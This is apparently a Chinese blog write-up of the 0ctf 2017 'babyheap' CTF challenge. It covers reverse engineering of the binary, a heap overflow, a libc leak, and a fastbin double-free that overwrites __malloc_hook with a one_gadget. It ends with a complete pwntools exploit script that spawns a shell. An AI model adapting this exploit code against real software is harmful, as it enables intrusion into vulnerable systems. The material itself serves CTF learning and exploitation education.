前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >0ctf babyheap

0ctf babyheap

原创
作者头像
极安御信安全研究院
发布2023-09-07 17:18:59
1580
发布2023-09-07 17:18:59
举报

文件信息

pwndbg> checksec [*] '/mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled

保护全开

pwndbg> r Starting program: /mnt/hgfs/CTF/nightmare-master/modules/28-fastbin_attack/0ctf_babyheap/0ctfbabyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. Free 4. Dump 5. Exit Command: 

是菜单程序:1申请,2编辑,3释放,4读取

逆向分析

主程序:

__int64 __fastcall main(__int64 a1, char **a2, char **a3) {   __int64 v4; // [rsp+8h] [rbp-8h]   v4 = sub_55E213200B70(a1, a2, a3); while ( 1 )   {     menu(); switch ( getNum() )     { case 1LL:         Add(v4); break; case 2LL:         Edit(v4); break; case 3LL:         Free(v4); break; case 4LL:         Show(v4); break; case 5LL: return 0LL; default: continue;     }   } }

Add函数:

void __fastcall Add(__int64 a1) {   int i; // [rsp+10h] [rbp-10h]   int size; // [rsp+14h] [rbp-Ch]   void *memPtr; // [rsp+18h] [rbp-8h] for ( i = 0; i <= 15; ++i )   { if ( !*(_DWORD *)(24LL * i + a1) )     {       printf("Size: ");       size = getNum(); if ( size > 0 )       { if ( size > 4096 )           size = 4096;         memPtr = calloc(size, 1uLL);            // calloc will clear mem if ( !memPtr )           exit(-1);         *(_DWORD *)(24LL * i + a1) = 1;         // this is a struct         *(_QWORD *)(a1 + 24LL * i + 8) = size;         *(_QWORD *)(a1 + 24LL * i + 16) = memPtr;         printf("Allocate Index %d\n", (unsigned int)i);       } return;     }   } }

这里貌似用了一个结构来保存申请的信息,创建一下:

00000000 MemInfo         struc ; (sizeof=0x18, mappedto_18) 00000000 isEnable        dq ? 00000008 size            dq ? 00000010 memPtr          dq ? 00000018 MemInfo         ends

Edit函数:

__int64 __fastcall Edit(MemInfo *a1) {   __int64 buf; // rax   int index_; // [rsp+18h] [rbp-8h]   int size; // [rsp+1Ch] [rbp-4h]   printf("Index: ");   buf = getNum();   index_ = buf; if ( (unsigned int)buf <= 0xF )               // max chunk count = 16   {     buf = LODWORD(a1[(int)buf].isEnable);       // get index if ( (_DWORD)buf == 1 )                     // 1 represent enable     {       printf("Size: ");       buf = getNum();       size = buf; if ( (int)buf > 0 )       {         printf("Content: "); return call_Read2(a1[index_].memPtr, size);       }     }   } return buf; }

找到对应的chunk,然后向其中读取内容

Free函数:

__int64 __fastcall Free(MemInfo *a1) {   __int64 result; // rax   int index; // [rsp+1Ch] [rbp-4h]   printf("Index: ");   result = getNum();   index = result; if ( (unsigned int)result <= 0xF )   {     result = LODWORD(a1[(int)result].isEnable); if ( (_DWORD)result == 1 )     {       LODWORD(a1[index].isEnable) = 0;          // set 0       a1[index].size = 0LL;                     // set size = 0       free((void *)a1[index].memPtr);           // free mem       result = (__int64)&a1[index];             // clear value       *(_QWORD *)(result + 16) = 0LL;     }   } return result; }

Show函数:

unsigned int __fastcall Show(MemInfo *a1) {   unsigned int result; // eax   unsigned int v2; // [rsp+1Ch] [rbp-4h]   printf("Index: ");   result = getNum();   v2 = result; if ( result <= 0xF )   {     result = a1[result].isEnable; if ( result == 1 )     {       puts("Content: ");       call_Write(a1[v2].memPtr, a1[v2].size); return puts(byte_55E2132014F1);     }   } return result; }

利用

可用性通过数组成员的值和其标志位来确认,不存在UAF

Edit函数编辑的时候检查的大小来自用户输入,存在溢出问题

这里虽然有数组来保存申请的地址信息,但是PIE的存在,让unlink技术难度很高

这里有一个思路就是,通过溢出,去修改fastbin chunk的指针,测试一下:

chunk1 = add(24) chunk2 = add(24) chunk3 = add(24) free(chunk3) free(chunk2) edit(chunk1,24+0x10,b'a'*24 + pack(0x21) + pack(0xdeadbeef))

效果:可行

pwndbg> vis pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols. This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details. 0x563e52224000 0x0000000000000000 0x0000000000000021 ........!....... 0x563e52224010 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x563e52224020 0x6161616161616161 0x0000000000000021 aaaaaaaa!....... <-- fastbins[0x20][0] 0x563e52224030 0x00000000deadbeef 0x0000000000000000 ................ 0x563e52224040 0x0000000000000000 0x0000000000000021 ........!....... 0x563e52224050 0x0000000000000000 0x0000000000000000 ................ 0x563e52224060 0x0000000000000000 0x0000000000020fa1 ................ <-- Top chunk

可以通过这种方式去修改fastbin的指针,然后去寻找可用的fake chunk申请内存:

pwndbg> find_fake_fast &__malloc_hook global_max_fast symbol not found, using the default value: 0x80 Use `set global-max-fast

` to set the address of global_max_fast manuallyif needed.

Searchingfor fastbin size fields up to 0x80, starting at 0x7f5eeb894a98 resulting in an overlap of 0x7f5eeb894b10

FAKE CHUNKS

Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA

Addr: 0x7f5eeb894aed

prev_size: 0x5eeb893260000000

size: 0x7f

fd: 0x5eeb555e20000000

bk: 0x5eeb555a0000007f

fd_nextsize: 0x7f

bk_nextsize: 0x00

这里需要0x70大小的fastbin chunk

现在目标明确了,最终是要通过fastbin dup进行利用

现在的问题在于,需要一个libc info leak

libc info leak

可以通过读取unsortedbin chunk的指针来拿到libc的地址

因为能读取的大小是在add的时候就限定死了,没法越界读

这里的一个思路是,申请两个unsorted size chunk,然后通过溢出修改第二个chunk的prev_inused标志位为0,释放第二个的时候触发合并,这样第一个chunk既是可用的,又有了libc的地址,但这里有safe unlink的缓解机制,就没法用了

下一个思路是:申请一个小chunk,通过溢出让其大小变大,大到覆盖下一个chunk,然后再次申请的时候,经过分割,使得新的unsortedbin指针落到我们可用chunk上:

chunk1 = add(0x88) chunk2 = add(0x88) chunk3 = add(0x88) add(0x18)   # 分隔top chunk edit(chunk1,0x90,b'\x00'*0x88 + pack(0x90*2+1)) free(chunk2) chunk4 = add(0x88) a = show(chunk3)[:8] print(hex(uu64(a)))

结果:

pwndbg> vis pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols. This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details. 0x560635da7000 0x0000000000000000 0x0000000000000091 ................ 0x560635da7010 0x0000000000000000 0x0000000000000000 ................ 0x560635da7020 0x0000000000000000 0x0000000000000000 ................ 0x560635da7030 0x0000000000000000 0x0000000000000000 ................ 0x560635da7040 0x0000000000000000 0x0000000000000000 ................ 0x560635da7050 0x0000000000000000 0x0000000000000000 ................ 0x560635da7060 0x0000000000000000 0x0000000000000000 ................ 0x560635da7070 0x0000000000000000 0x0000000000000000 ................ 0x560635da7080 0x0000000000000000 0x0000000000000000 ................ 0x560635da7090 0x0000000000000000 0x0000000000000091 ................ 0x560635da70a0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70b0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70c0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70d0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70e0 0x0000000000000000 0x0000000000000000 ................ 0x560635da70f0 0x0000000000000000 0x0000000000000000 ................ 0x560635da7100 0x0000000000000000 0x0000000000000000 ................ 0x560635da7110 0x0000000000000000 0x0000000000000000 ................ 0x560635da7120 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0] 0x560635da7130 0x00007f0f908eab78 0x00007f0f908eab78 x.......x....... 0x560635da7140 0x0000000000000000 0x0000000000000000 ................ 0x560635da7150 0x0000000000000000 0x0000000000000000 ................ 0x560635da7160 0x0000000000000000 0x0000000000000000 ................ 0x560635da7170 0x0000000000000000 0x0000000000000000 ................ 0x560635da7180 0x0000000000000000 0x0000000000000000 ................ 0x560635da7190 0x0000000000000000 0x0000000000000000 ................ 0x560635da71a0 0x0000000000000000 0x0000000000000000 ................ 0x560635da71b0 0x0000000000000090 0x0000000000000020 ........ ....... 0x560635da71c0 0x0000000000000000 0x0000000000000000 ................ 0x560635da71d0 0x0000000000000000 0x0000000000020e31 ........1....... <-- Top chunk

顺利读出地址:0x7f0f908eab78

fastbin dup

接下来进行fastbin dup,要进行一次双重释放控制fastbin指针

这里很巧的就是,unsortedbin chunk我们可以申请0x68大小的chunk来分割这个unsortedbin chunk

这样就能拿到两个内存是申请在同一个位置的了,然后绕过fastbin 双重释放的缓解即可:

chunk33 = add(0x68) chunk5 = add(0x68) free(chunk33) free(chunk5) free(chunk3)

结果:

pwndbg> bin fastbins 0x70: 0x565437731120 —▸ 0x5654377311d0 ◂— 0x565437731120 unsortedbin empty smallbins 0x20: 0x565437731190 —▸ 0x7fbe9d02cb88 ◂— 0x565437731190 largebins empty

接下来就是构造fake chunk地址,修改malloc hook,去执行one_gadget拿shell了

fake_chunk = libc.sym.__malloc_hook - 35 chunkA = add(0x68) edit(chunkA,0x8,pack(fake_chunk)) add(0x68) add(0x68) fake = add(0x68) one_gadget = libc.address + 0x4526a edit(fake,35-8,b'0'*(35-16) + pack(one_gadget)) add(0x68)

感觉这里通过溢出来修改fastbin chunk指针更简洁

完整exp

#!/bin/python3 from pwn import * FILE_NAME = "0ctfbabyheap" REMOTE_HOST = "" REMOTE_PORT = 0 elf = context.binary = ELF(FILE_NAME) libc = elf.libc gs = ''' continue ''' def start(): if args.REMOTE: return remote(REMOTE_HOST,REMOTE_PORT) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) else: return process(elf.path) """ """ p   = lambda      : pause() s   = lambda x    : success(x) re  = lambda m, t : io.recv(numb=m, timeout=t) ru  = lambda x    : io.recvuntil(x) rl  = lambda      : io.recvline() sd  = lambda x    : io.send(x) sl  = lambda x    : io.sendline(x) ia  = lambda      : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa  = lambda a, b : io.sendafter(a, b) uu32 = lambda x   : u32(x.ljust(4,b'\x00')) uu64 = lambda x   : u64(x.ljust(8,b'\x00')) """ """ # ======= helper function =============== # Calculate the "wraparound" distance between two addresses. def delta(x, y): return (0xffffffffffffffff - x) + y opt_add = 1 opt_edit = 2 opt_free = 3 opt_show = 4 menu = "" def add(size):     sla(menu, str(opt_add))     sla(b"Size: ", str(size))     ru(b"Allocate Index ")     index = ru(b"\n")[:-1] return index.decode('utf-8') def edit(idx, size ,content):     sla(menu, str(opt_edit))     sla(b"Index: ", str(idx))     sla(b"Size: ", str(size))     sla(b"Content: ", content) def free(idx):     sla(menu, str(opt_free))     sla(b"Index: ", str(idx)) def show(idx):     sla(menu, str(opt_show))     sla(b"Index: ", str(idx))     ru(b"Content: \n")     value = ru(b"1. ")[:-4] return value # ======================================= io = start() io.timeout = 0.1 # ============================================================================= # ============== exploit =================== # libc info leak chunk1 = add(0x88) chunk2 = add(0x88) chunk3 = add(0x88) add(0x18)   # 分隔top chunk edit(chunk1,0x90,b'\x00'*0x88 + pack(0x90*2+1)) free(chunk2) chunk4 = add(0x88) a = uu64(show(chunk3)[:8]) libc.address = a - 3951480 print("[libc address]: "+hex(libc.address)) # fastbin dup # double free chunk33 = add(0x68) chunk5 = add(0x68) free(chunk33) free(chunk5) free(chunk3) # fake chunk fake_chunk = libc.sym.__malloc_hook - 35 chunkA = add(0x68) edit(chunkA,0x8,pack(fake_chunk)) add(0x68) add(0x68) fake = add(0x68) one_gadget = libc.address + 0x4526a edit(fake,35-8,b'0'*(35-16) + pack(one_gadget)) add(0x68) # ============================================================================= io.interactive() """ ➜  0ctf_babyheap one_gadget libc-2.23.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints:   rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints:   [rsp+0x30] == NULL 0xf0274 execve("/bin/sh", rsp+0x50, environ) constraints:   [rsp+0x50] == NULL 0xf1117 execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL """

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文件信息
  • 逆向分析
  • 利用
    • libc info leak
      • fastbin dup
        • 完整exp
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档